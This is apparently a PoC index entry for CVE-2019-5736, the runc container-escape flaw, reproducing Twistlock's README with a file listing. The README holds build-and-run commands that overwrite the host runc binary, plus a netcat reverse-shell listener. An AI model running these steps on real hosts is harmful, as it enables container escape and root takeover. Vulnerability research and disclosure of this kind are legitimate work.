CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source

https://github.com/twistlock/RunC-CVE-2019-5736

Associated Vulnerability

Title:Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

Description

CVE-2019-5736 POCs

Readme

# RunC-CVE-2019-5736

Two PoCs for CVE-2019-5736. See [Twistlock Labs](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") for an explanation of CVE-2019-5736 and the PoCs.

The malicious image PoC is heavily based on [q3k’s PoC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.

## Running the PoCs
Note that running the PoCs will overwrite the `runc` binary on the host. It is recommened that you create a copy of your `runc` binary (commonly at `/usr/sbin/runc`) before running one of the PoCs.

Clone the repository:
```sh
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736
```

### Exec PoC
Overwrites `runc` with a simple program that prints a string.

Running the exec PoC:
```sh
$ cd RunC-CVE-2019-5736 
$ docker build -t cve-2019-5736:exec_POC ./exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
```
### Malicious Image PoC
Overwrites runc with a simple reverse shell bash script that connects to localhost:2345.

Listen for the reverse shell:
```sh
$ nc -nvlp 2345
```

From a different shell, run the malicious image PoC:
```sh
$ cd RunC-CVE-2019-5736 
$ docker build -t cve-2019-5736:malicious_image_POC ./malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```

File Snapshot


 [4.0K]  /data/pocs/63578ab2a60ce2b919144568ecf7860bf74c57d0
├── [4.0K]  exec_POC
│   ├── [  17]  bash_evil
│   ├── [ 386]  Dockerfile
│   ├── [8.3K]  new_runc
│   ├── [ 225]  new_runc.c
│   ├── [ 13K]  overwrite_runc
│   ├── [3.5K]  overwrite_runc.c
│   └── [ 416]  replace.sh
├── [4.0K]  malicious_image_POC
│   ├── [1.0K]  Dockerfile
│   ├── [  52]  new_runc
│   ├── [ 13K]  overwrite_runc
│   ├── [2.9K]  overwrite_runc.c
│   └── [ 929]  run_at_link.c
└── [1.3K]  README.md

2 directories, 13 files

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